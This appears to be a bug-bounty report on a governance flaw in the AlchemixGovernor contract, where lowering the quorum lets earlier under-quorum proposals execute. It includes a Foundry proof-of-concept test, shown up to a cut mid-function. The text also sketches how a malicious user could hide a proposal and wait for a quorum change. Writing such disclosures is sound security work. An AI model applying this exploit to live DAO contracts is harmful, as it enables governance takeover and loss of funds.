Manipulation of governance voting result deviating from voted outcome and resulting in a direct change from intended effect of original results
Description
Brief/Intro
The AlchemixGovernor contract inherits the L2GovernorVotesQuorumFraction contract, which is based on an outdated version of OpenZeppelin's GovernorVotesQuorumFraction contract that has a known vulnerability.
This vulnerability allows past proposals to become executable if they were defeated only due to a lack of quorum, and the number of votes they received meets the new quorum requirement.
Vulnerability Details
The AlchemixGovernor contract inherits the L2GovernorVotesQuorumFraction contract, a modified version of OpenZeppelin's GovernorVotesQuorumFraction contract at version v4.5.0. However, this version has a known vulnerability, patched in v4.7.2.
As a result, the AlchemixGovernor contract is affected by the same vulnerability: when a proposal is passed to lower the quorum requirement, past proposals may become executable if they were defeated only due to a lack of quorum, and the number of votes they received meets the new quorum requirement.
Please see the PoC for a concrete scenario of this vulnerability.
Impact Details
An under-quorum proposal should be unable to execute after the vote period.
However, when a proposal is passed to lower the quorum requirement, past proposals become executable if they were defeated only due to a lack of quorum, and the number of votes they received meets the new quorum requirement.
A malicious user could propose a malicious proposal and vote for it. Since it's below the quorum, it may go unnoticed by the DAO. Later, they can propose a proposal to lower the quorum for other valid reasons. If the proposal is executed, their hidden malicious proposal may become executable, potentially causing monetary and reputational harm to the project.
// ./test/PoC.t.sol// SPDX-License-Identifier: Unlicensepragmasolidity ^0.8.0;import"forge-std/Test.sol";import"../src/test/BaseTest.sol";contractPoCisBaseTest {functionsetUp() public {setupContracts(block.timestamp);// Create veALCX for admincreateVeAlcx(admin, TOKEN_100K, MAXTIME,false);// Create veALCX for 0xbeefcreateVeAlcx(beef, TOKEN_1 *10_000, MAXTIME,false);// Can't propose and vote in the same block as a veALCX is created hevm.warp(block.timestamp +1); }functiontest_PastDefeatedProposalCanPassAfterQuorumDecrease() public {assertFalse(voter.isWhitelisted(usdc));// craft a proposal to make voter whitelist usdc (address[] memory t,uint256[] memory v,bytes[] memory c,stringmemory d) =craftTestProposal();// propose hevm.startPrank(admin);uint256 pid = governor.propose(t, v, c, d, MAINNET); hevm.warp(block.timestamp + governor.votingDelay() +1); // delay hevm.stopPrank();// vote hevm.startPrank(beef); governor.castVote(pid,1); hevm.warp(block.timestamp + governor.votingPeriod() +1); // voting period hevm.warp(block.timestamp + timelockExecutor.executionDelay() +1); // execution delay hevm.stopPrank();uint256 votingPower = veALCX.getVotes(beef);uint256 quorum = governor.quorum(block.timestamp);assertGt(quorum, votingPower,"quorum should be greater than voting power");// execute - fail due to lack of quorum hevm.expectRevert(abi.encodePacked("Governor: proposal not successful")); governor.execute(t, v, c,keccak256(bytes(d)), MAINNET);// assume the DAO decides to decrease the QuorumNumeratorupdateQuorumNumerator(50);// As a result, a a past defeated proposal due to lack of quorum now meets the new quorum requirement votingPower = veALCX.getVotes(beef); quorum = governor.quorum(block.timestamp);assertLt(quorum, votingPower,"quorum should be less than voting power");// now the past defeated proposal can be executed governor.execute(t, v, c,keccak256(bytes(d)), MAINNET);assertTrue(voter.isWhitelisted(usdc)); }functioncraftTestProposal()internalviewreturns (address[] memory targets,uint256[] memory values,bytes[] memory calldatas,stringmemory description) { targets =newaddress[](1); targets[0] =address(voter); values =newuint256[](1); values[0] =0; calldatas =newbytes[](1); calldatas[0] = abi.encodeWithSelector(voter.whitelist.selector, usdc); description ="Whitelist USDC"; }functionupdateQuorumNumerator(uint256 newQuorumNumerator) internal {address[] memory targets =newaddress[](1); targets[0] =address(governor);uint256[] memory value